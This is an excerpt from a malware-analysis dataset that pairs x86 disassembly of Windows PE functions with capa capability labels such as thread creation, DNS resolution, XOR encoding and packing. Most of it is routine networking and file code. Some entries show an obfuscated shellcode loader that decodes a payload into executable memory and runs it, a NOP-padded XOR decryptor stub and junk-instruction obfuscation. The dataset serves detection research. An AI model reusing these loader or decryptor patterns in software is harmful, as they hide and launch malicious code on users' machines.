joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4879d0
Capabilities:
Create thread

Disassembly:
sub esp, 0xc
push ebx
push esi
push 1
push 0x24
call dword [0x4b8590]
xor ebx, ebx
mov esi, eax
add esp, 8
cmp esi, ebx
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], ebx
jne 0x487a02
push 0xc
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop esi
xor al, al
pop ebx
add esp, 0xc
ret
mov eax, dword [edi + 0x2bc]
push ebp
lea ebp, [edi + 0x2bc]
push eax
mov dword [esp + 0x10], ebp
call fcn.0047c4f0
mov ecx, dword [esp + 0x20]
push ecx
call dword [0x4b858c]
add esp, 8
cmp eax, ebx
mov dword [ebp], eax
jne 0x487a49
push esi
call dword [0x4b8584]
add esp, 4
push 0xc
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop ebp
pop esi
xor al, al
pop ebx
add esp, 0xc
ret
mov edx, dword [esp + 0x20]
push ebx
push 1
mov dword [edi + 0x2c0], edx
mov byte [edi + 0x2c8], bl
mov dword [edi + 0x2cc], ebx
mov dword [edi + 0x2c4], ebx
mov dword [edi + 0x2d0], esi
push ebx
mov dword [esi + 0xc], 0xffffffff
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
cmp eax, ebx
mov dword [esi + 0x10], eax
jne 0x487a86
push ebp
jmp 0x487ad9
mov ebp, dword [sym.imp.KERNEL32.dll_CreateEventW]
push ebx
push ebx
push 1
push ebx
call ebp
cmp eax, ebx
mov dword [esi + 0x14], eax
je 0x487ad4
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
cmp eax, ebx
mov dword [esi + 0x1c], eax
jne 0x487ab1
mov ecx, dword [esp + 0xc]
push ecx
jmp 0x487ad9
push ebx
push ebx
push 1
push ebx
call ebp
cmp eax, ebx
mov dword [esi + 0x20], eax
jne 0x487ac6
mov edx, dword [esp + 0xc]
push edx
jmp 0x487ad9
push ebx
push ebx
push 1
push ebx
call ebp
cmp eax, ebx
mov dword [esi + 0x18], eax
jne 0x487af2
mov eax, dword [esp + 0xc]
push eax
call fcn.004878f0
add esp, 4
push 0xb
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop ebp
pop esi
xor al, al
pop ebx
add esp, 0xc
ret
lea ecx, [esi + 4]
push ecx
push ebx
push edi
push 0x487820
push ebx
push ebx
call fcn.00462e69
add esp, 0x18
cmp eax, ebx
mov dword [esi], eax
jne 0x487b31
call fcn.00465153
mov edx, dword [eax]
push edx
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [esp + 0xc]
push eax
call fcn.004878f0
add esp, 4
pop ebp
pop esi
xor al, al
pop ebx
add esp, 0xc
ret
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x18]
mov dword [esp + 0x18], eax
mov ecx, dword [esi + 0x18]
push edx
push 2
mov dword [esp + 0x24], ecx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push ebx
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
pop ebp
mov dword [esi + 0xc], eax
pop esi
mov al, 1
pop ebx
add esp, 0xc
ret
Function at 0x487b70
Capabilities:
Terminate thread

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ecx, dword [edi]
mov eax, dword [ecx + 0x174]
test eax, eax
mov esi, dword [edi + 0x2d0]
mov dword [esp + 0x14], ecx
jne 0x487b9d
mov eax, dword [ecx + 0x170]
test eax, eax
jne 0x487b9d
mov eax, 0x493e0
push eax
mov eax, dword [esi + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esi + 0x10]
push ecx
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [esi + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call ebx
mov eax, dword [esi + 0x14]
push eax
mov dword [esi + 0x10], 0
call ebx
test ebp, ebp
mov dword [esi + 0x14], 0
mov bl, 1
jne 0x487bf9
mov ecx, dword [esi]
push 0x1388
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x487c4f
mov edx, dword [esi]
push ebp
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea ebp, [esi + 8]
mov byte [edi + 0x2c8], bl
mov dword [ebp], 0xffffffff
mov eax, dword [esp + 0x18]
test eax, eax
je 0x487c19
mov edx, dword [edi + 0x2c4]
mov dword [eax], edx
xor esi, esi
cmp dword [edi + 0x2c4], esi
jne 0x487d00
mov ebp, dword [ebp]
cmp ebp, 0x1b
jne 0x487c6b
push ebp
mov esi, ebp
call fcn.0048f0e0
push eax
mov eax, dword [esp + 0x1c]
push str.Could_not_resolve_host:__s
push eax
call fcn.00485330
add esp, 0x10
jmp 0x487d00
mov eax, dword [edi + 0x2cc]
push eax
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov ecx, dword [esi]
lea ebp, [esi + 8]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
jmp 0x487c09
cmp byte [edi + 0x2c8], 0
je 0x487cd1
cmp byte [edi + 0x12b], 0
mov ecx, dword [edi + 0x2cc]
push ecx
push edi
je 0x487cab
call fcn.0048fa20
mov edx, dword [edi + 0xa0]
push eax
mov eax, dword [esp + 0x20]
push edx
push str.Could_not_resolve_proxy:__s___s
push eax
call fcn.00485330
add esp, 0x18
mov esi, 5
jmp 0x487d00
call fcn.0048fa20
mov edx, dword [edi + 0x8c]
push eax
mov eax, dword [esp + 0x20]
push edx
push str.Could_not_resolve_host:__s___s
push eax
call fcn.00485330
add esp, 0x18
mov esi, 6
jmp 0x487d00
cmp ebp, 0xffffffff
je 0x487ce2
cmp dword [edi + 0x2cc], 0x2afc
jne 0x487cfb
mov ecx, dword [edi + 0x8c]
mov edx, dword [esp + 0x14]
push ecx
push str.Resolving_host_timed_out:__s
push edx
call fcn.00485330
add esp, 0xc
mov esi, 0x1c
lea eax, [edi + 0x2bc]
push eax
call fcn.004878f0
add esp, 4
cmp dword [edi + 0x2c4], 0
mov eax, esi
jne 0x487d20
mov byte [edi + 0x128], bl
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x487dd0
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 0x10]
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
mov ebx, dword [edi]
lea ecx, [esp + 0x10]
push ecx
push esi
push 2
mov dword [eax], 0
call fcn.0048fc40
add esp, 0xc
test eax, eax
jle 0x487e14
mov edx, dword [esp + 0x18]
push edx
push esi
lea eax, [esp + 0x18]
push eax
push 2
call fcn.00487640
add esp, 0x10
pop edi
pop esi
pop ebx
ret
push ebp
mov ebp, dword [esp + 0x1c]
push ebp
push esi
call fcn.004879d0
add esp, 8
test al, al
je 0x487e38
mov ecx, dword [esp + 0x20]
pop ebp
pop edi
pop esi
mov dword [ecx], 1
xor eax, eax
pop ebx
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
call fcn.0048fa20
push eax
push esi
push str.init_resolve_thread___failed_for__s___s_n
push ebx
call fcn.004852a0
add esp, 0x18
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x487e85
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
call fcn.0048fa20
push eax
push ebp
push esi
push str.gethostbyname_2__failed_for__s:_d___s_n
push ebx
call fcn.004852a0
add esp, 0x1c
pop ebp
pop edi
pop esi
xor eax, eax
pop ebx
ret
push ebp
push eax
call fcn.00487510
add esp, 8
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x48b090
Capabilities:
Check for time delay via gettickcount
Get socket status

Disassembly:
sub esp, 0x31c
push ebx
mov ebx, dword [esp + 0x324]
push ebp
mov ebp, dword [esp + 0x32c]
push esi
xor esi, esi
cmp ebx, 0xffffffff
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], esi
jne 0x48b0d0
cmp ebp, ebx
jne 0x48b0d0
mov eax, dword [esp + 0x334]
call fcn.0048b070
pop esi
pop ebp
pop ebx
add esp, 0x31c
ret
push edi
mov edi, dword [esp + 0x338]
cmp edi, esi
jle 0x48b0eb
mov esi, edi
call fcn.0048c850
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], edx
xor eax, eax
xor ecx, ecx
or edx, 0xffffffff
cmp ebx, 0xffffffff
mov dword [esp + 0x20], ecx
mov dword [esp + 0x124], eax
je 0x48b11f
mov ecx, 1
mov dword [esp + 0x128], ebx
mov dword [esp + 0x124], ecx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x20], ecx
mov edx, ebx
cmp ebp, 0xffffffff
mov dword [esp + 0x228], eax
je 0x48b166
test ecx, ecx
mov dword [esp + 0x22c], ebp
mov dword [esp + 0x228], 1
jbe 0x48b14e
cmp dword [esp + eax*4 + 0x24], ebp
je 0x48b14e
add eax, 1
cmp eax, ecx
jb 0x48b141
cmp eax, ecx
jne 0x48b160
cmp ecx, 0x40
jae 0x48b160
mov dword [esp + eax*4 + 0x24], ebp
add dword [esp + 0x20], 1
cmp ebp, edx
jbe 0x48b166
mov edx, ebp
xor ebx, ebx
test edi, edi
setl bl
lea eax, [esp + 0x18]
lea ebp, [edx + 1]
sub ebx, 1
and ebx, eax
lea esp, [esp]
xor eax, eax
cmp edi, eax
jle 0x48b1b1
mov eax, 0x10624dd3
imul esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x18], eax
imul eax, eax, 0x3e8
mov ecx, esi
sub ecx, eax
imul ecx, ecx, 0x3e8
mov dword [esp + 0x1c], ecx
jmp 0x48b1bb
jne 0x48b1bb
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
push ebx
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x230]
push eax
lea ecx, [esp + 0x130]
push ecx
push ebp
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
jne 0x48b225
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
je 0x48b1ee
cmp eax, 0x2714
jne 0x48b229
test edi, edi
jle 0x48b180
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
push edx
push eax
call fcn.0048c850
push edx
push eax
call fcn.0048c880
mov esi, edi
sub esi, eax
add esp, 0x10
test esi, esi
jg 0x48b180
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x31c
ret
test eax, eax
jge 0x48b237
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x31c
ret
jne 0x48b246
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x31c
ret
mov edi, dword [esp + 0x330]
xor esi, esi
cmp edi, 0xffffffff
je 0x48b27d
lea ecx, [esp + 0x124]
push ecx
push edi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x48b26b
mov esi, 1
lea edx, [esp + 0x20]
push edx
push edi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x48b27d
or esi, 4
mov edi, dword [esp + 0x334]
cmp edi, 0xffffffff
je 0x48b2b0
lea eax, [esp + 0x228]
push eax
push edi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x48b29e
or esi, 2
lea ecx, [esp + 0x20]
push ecx
push edi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x48b2b0
or esi, 4
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x31c
ret
Function at 0x48bce0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov dword [eax], 0
call fcn.0048c850
mov esi, dword [esp + 0x1c]
mov ecx, dword [esi + 0xd0]
push ecx
mov ecx, dword [esi + 0xcc]
push ecx
push edx
push eax
call fcn.0048c880
mov ebx, dword [esp + 0x40]
add esp, 0x10
cmp eax, ebx
jg 0x48bd95
mov edi, dword [esp + 0x28]
mov ebp, dword [esp + 0x24]
lea ebx, [ebx]
mov edx, ebx
sub edx, eax
mov eax, dword [esp + 0x20]
push edx
push 0xffffffffffffffff
push eax
call fcn.0048b090
add esp, 0xc
test eax, eax
jle 0x48bd95
mov edx, dword [esp + 0x20]
lea ecx, [esp + 0x14]
push ecx
push edi
push ebp
push edx
call fcn.00484fc0
add esp, 0x10
test eax, eax
jne 0x48bd98
mov eax, dword [esp + 0x14]
cmp edi, eax
je 0x48bda0
test eax, eax
je 0x48bd95
add dword [esp + 0x10], eax
sub edi, eax
add ebp, eax
call fcn.0048c850
mov ecx, dword [esi + 0xd0]
push ecx
mov ecx, dword [esi + 0xcc]
push ecx
push edx
push eax
call fcn.0048c880
add esp, 0x10
cmp eax, ebx
jle 0x48bd30
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
add eax, edx
pop ebp
mov dword [ecx], eax
xor eax, eax
pop ebx
add esp, 8
ret

Function at 0x48d4e0
Capabilities:
Parse pe header

Disassembly:
mov al, byte [esp + 4]
movsx ecx, al
add ecx, 0xffffff9f
cmp ecx, 0x19
ja case.default.0x48d4ef
jmp dword [ecx*4 + 0x48d544]
mov al, 0x41
ret
mov al, 0x42
ret
mov al, 0x43
ret
mov al, 0x44
ret
mov al, 0x45
ret
mov al, 0x46
ret
mov al, 0x47
ret
mov al, 0x48
ret
mov al, 0x49
ret
mov al, 0x4a
ret
mov al, 0x4b
ret
mov al, 0x4c
ret
mov al, 0x4d
ret
mov al, 0x4e
ret
mov al, 0x4f
ret
mov al, 0x50
ret
mov al, 0x51
ret
mov al, 0x52
ret
mov al, 0x53
ret
mov al, 0x54
ret
mov al, 0x55
ret
mov al, 0x56
ret
mov al, 0x57
ret
mov al, 0x58
ret
mov al, 0x59
ret
mov al, 0x5a
ret

Function at 0x48d6d0
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x108
mov eax, dword [0x4b7110]
xor eax, esp
mov dword [esp + 0x104], eax
mov eax, dword [esp + 0x10c]
push eax
call fcn.00479599
add esp, 4
test eax, eax
mov byte [esp], 0
je 0x48d735
push 0x104
lea ecx, [esp + 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp byte [esp], 0
je 0x48d735
lea edx, [esp]
push edx
call dword [0x4b858c]
add esp, 4
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.0045eec1
add esp, 0x108
ret
mov ecx, dword [esp + 0x104]
xor ecx, esp
xor eax, eax
call fcn.0045eec1
add esp, 0x108
ret
jmp 0x48d6d0
Function at 0x48d750
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x108
mov eax, dword [0x4b7110]
xor eax, esp
mov dword [esp + 0x104], eax
mov eax, dword [esp + 0x10c]
push eax
call fcn.00479599
add esp, 4
test eax, eax
mov byte [esp], 0
je 0x48d735
push 0x104
lea ecx, [esp + 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp byte [esp], 0
je 0x48d735
lea edx, [esp]
push edx
call dword [0x4b858c]
add esp, 4
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.0045eec1
add esp, 0x108
ret
mov ecx, dword [esp + 0x104]
xor ecx, esp
xor eax, eax
call fcn.0045eec1
add esp, 0x108
ret
jmp 0x48d6d0
Function at 0x1002f9d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x1002f9df
pop dword [ebp - 0x50]
mov eax, 0xa7aee60f
add eax, 0x685413d0
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x8f72d22a
sub dword [ebp - 0x60], 0x41208cdf
mov dword [ebp - 0x5c], 0x75e000c1
sub dword [ebp - 0x5c], 0x43acb47c
mov dword [ebp - 0x58], 0x5c36e6f1
sub dword [ebp - 0x58], 0xfeaa2c3
mov dword [ebp - 0x54], 0x7f214475
add dword [ebp - 0x54], 0x80debb8b
lea eax, [ebp - 0x60]
push eax
mov eax, 0x2c08883d
add eax, 0xe3fb583f
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xcdc3e23b
sub dword [ebp - 0x60], 0x595178e5
mov dword [ebp - 0x5c], 0x61834261
add dword [ebp - 0x5c], 0xdfe91f14
mov dword [ebp - 0x58], 0x4e7869f9
sub dword [ebp - 0x58], 0xeb08fd8d
mov dword [ebp - 0x54], 0xa1801509
add dword [ebp - 0x54], 0x5e7feaf7
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x40c3e
push 0
call eax
mov ecx, 0x5cb56732
sub ecx, 0x5cb51294
xor edx, edx
add edx, eax
mov ebx, 0x10071200
add ebx, dword [ebp - 0x50]
mov edi, 0x1e20263
add edi, 0xed2a3a21
mov dword [ebp - 0x38], 0xb186db98
mov esi, dword [ebx]
xor dword [ebp - 0x38], 0x9efc3ccc
add esi, edi
mov dword [edx], esi
add dword [ebp - 0x34], ebx
add edx, 4
add ebx, 0x6c6b8e6f
add ebx, 0x93947195
loop 0x1002faf8
add eax, 0x1454b
xor ebx, ebx
add ebx, eax
add eax, 0xdd79654c
sub eax, 0xdd796547
mov ecx, 0x10000000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x1003aaa0
Capabilities:
Create pipe

Disassembly:
sub esp, 0x24
push 0x100000
lea eax, [esp + 0xc]
mov dword [esp + 4], 0xffffffff
push eax
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0xffffffff
push eax
lea eax, [esp + 0xc]
mov dword [esp + 0x14], 0xc
push eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 1
call dword [sym.imp.kernel32.dll_CreatePipe]
test eax, eax
je 0x1003ab3a
mov eax, dword [esp]
cdq
push esi
mov dword [esp + 0x18], eax
mov eax, dword [esp + 8]
push edi
mov edi, dword [esp + 0x30]
mov dword [esp + 0x20], edx
cdq
mov dword [esp + 0x24], eax
mov eax, dword [edi]
push 2
mov dword [esp + 0x2c], edx
push edi
mov eax, dword [eax + 0x2d0]
call eax
mov esi, eax
test esi, esi
je 0x1003ab32
mov eax, dword [edi]
lea ecx, [esp + 0x1c]
push ecx
push 2
push 0
mov eax, dword [eax + 0x350]
push esi
push edi
call eax
mov eax, esi
pop edi
pop esi
add esp, 0x24
ret 8
xor eax, eax
add esp, 0x24
ret 8

Function at 0x1003abd0
Capabilities:
Read file on windows

Disassembly:
push ebx
push edi
mov edi, dword [esp + 0xc]
push dword [esp + 0x1c]
push edi
mov eax, dword [edi]
mov eax, dword [eax + 0x398]
call eax
mov ecx, dword [edi]
mov ebx, eax
push dword [esp + 0x1c]
push edi
mov ecx, dword [ecx + 0x39c]
call ecx
mov dword [esp + 0xc], 0
test ebx, ebx
jne 0x1003ac0a
pop edi
or eax, 0xffffffff
pop ebx
ret 0x14
push 0
lea ecx, [esp + 0x10]
push ecx
push eax
push ebx
push dword [esp + 0x24]
call dword [sym.imp.kernel32.dll_ReadFile]
mov ecx, dword [esp + 0xc]
test eax, eax
mov edx, 0xfffffffe
cmove ecx, edx
pop edi
mov eax, ecx
pop ebx
ret 0x14

Function at 0x1003ac40
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push dword [esp + 0x14]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x398]
call eax
mov dword [esp + 4], 0
test eax, eax
jne 0x1003ac65
or eax, 0xffffffff
ret 0x18
push esi
mov esi, dword [esp + 0x1c]
test esi, esi
jne 0x1003ac75
lea eax, [esi - 2]
pop esi
ret 0x18
push 0
lea ecx, [esp + 0xc]
push ecx
push esi
push eax
push dword [esp + 0x20]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
jne 0x1003ac95
mov eax, 0xfffffffd
pop esi
ret 0x18
push dword [esp + 0x10]
call dword [sym.imp.kernel32.dll_FlushFileBuffers]
xor eax, eax
mov ecx, 0xfffffffc
cmp esi, dword [esp + 8]
pop esi
cmovne eax, ecx
ret 0x18

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x719c80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x213000]
push edi
or ebp, 0xffffffff
jmp 0x719ca2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x719ca9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x719c98
mov eax, 1
add ebx, ebx
jne 0x719cbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x719ccc
jne 0x719ceb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x719ceb
dec eax
add ebx, ebx
jne 0x719cd8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x719cb0
add ebx, ebx
jne 0x719ce7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x719d3d
xor ecx, ecx
sub eax, 3
jb 0x719d03
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x719d72
sar eax, 1
mov ebp, eax
jmp 0x719d0e
add ebx, ebx
jne 0x719d0e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x719cdc
inc ecx
add ebx, ebx
jne 0x719d1c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x719cdc
add ebx, ebx
jne 0x719d29
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x719d1e
jne 0x719d3a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x719d1e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x719d5c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x719d4e
jmp 0x719c9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x719d5c
add edi, ecx
jmp 0x719c9e
pop esi
mov edi, esi
mov ecx, 0x37e4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x719d7a
cmp byte [edi], 0x13
jne 0x719d7a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x719d7f
lea edi, [esi + 0x316000]
mov eax, dword [edi]
or eax, eax
je 0x719df7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x31e420]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x31e4e4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x719dac
mov ecx, edi
jns 0x719ddb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x31e4ec]
or eax, eax
je 0x719df1
mov dword [ebx], eax
add ebx, 4
jmp 0x719dc9
call dword [esi + 0x31e4e8]
mov ebp, dword [esi + 0x31e4f0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x719e2b
sub esp, 0xffffff80
jmp 0x46f1ee
Function at 0x401119
Capabilities:
Encode data using xor

Disassembly:
push 1
pop ecx
cmp dword [esp + 8], ecx
jl 0x401139
mov eax, dword [esp + 4]
mov edx, ecx
and edx, 3
mov dl, byte [esp + edx + 0xc]
xor byte [eax], dl
inc ecx
inc eax
cmp ecx, dword [esp + 8]
jle 0x401126
ret

Function at 0x403861
Capabilities:
Authenticate hmac
Manually build aes constants
Parse pe header

Disassembly:
mov eax, 0x7ffa6c92
mov ebp, edx
mov ch, 0xa
test edi, edx
dec dl
rcl ah, 1
imul ecx, ebx, 0xd12efede
mov dh, ah
ror eax, cl
sal esi, 1
rol ch, 0x7a
sbb ebx, ebp
mov al, dl
not bl
or ch, 0x51
call 0x4038c9
bswap edx
add ah, 0x76
neg dh
inc esi
mov ebp, 0x4edf075
xor dh, ch
rol ah, 0x63
imul ebp, ebp
test eax, 0x87fb14b0
mov esi, ebx
imul edx, edx
mov ebp, ebx
movsx eax, ax
bswap ebp
mov edi, eax
rcl dh, 1
test dh, 0x4d
xchg dh, ah
add ecx, ecx
imul edi, ebp
xchg al, ah
ror edx, 0xa8
imul ecx, ecx, 0x51c5bb45
sbb edx, edi
mov ah, 0x9b
mov edi, ebp
test dl, 0xcf
pop ebp
dec ebx
bswap esi
cmp ah, dl
bswap edi
mov ebx, 0xdc228823
mov bl, 0x36
mov ebx, 0x8c1c9567
test dh, 0xfd
imul esi, edx, 0xacd9c6c2
mov dh, ah
rcl cl, cl
adc edi, esi
jmp fcn.004f1051

Function at 0x4038c9
Capabilities:
Authenticate hmac
Parse pe header

Disassembly:
mov eax, 0x7ffa6c92
mov ebp, edx
mov ch, 0xa
test edi, edx
dec dl
rcl ah, 1
imul ecx, ebx, 0xd12efede
mov dh, ah
ror eax, cl
sal esi, 1
rol ch, 0x7a
sbb ebx, ebp
mov al, dl
not bl
or ch, 0x51
call 0x4038c9
bswap edx
add ah, 0x76
neg dh
inc esi
mov ebp, 0x4edf075
xor dh, ch
rol ah, 0x63
imul ebp, ebp
test eax, 0x87fb14b0
mov esi, ebx
imul edx, edx
mov ebp, ebx
movsx eax, ax
bswap ebp
mov edi, eax
rcl dh, 1
test dh, 0x4d
xchg dh, ah
add ecx, ecx
imul edi, ebp
xchg al, ah
ror edx, 0xa8
imul ecx, ecx, 0x51c5bb45
sbb edx, edi
mov ah, 0x9b
mov edi, ebp
test dl, 0xcf
pop ebp
dec ebx
bswap esi
cmp ah, dl
bswap edi
mov ebx, 0xdc228823
mov bl, 0x36
mov ebx, 0x8c1c9567
test dh, 0xfd
imul esi, edx, 0xacd9c6c2
mov dh, ah
rcl cl, cl
adc edi, esi
jmp fcn.004f1051
Function at 0x401a74
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.00401c24
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x401b72
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x401b15
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x401b58
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x401b2c
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x401b47
test al, 0x40
je 0x401b3e
mov ecx, dword [edi + 0x20]
jmp 0x401b45
test al, 0x80
je 0x401b58
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x401b58
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x401ae4
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret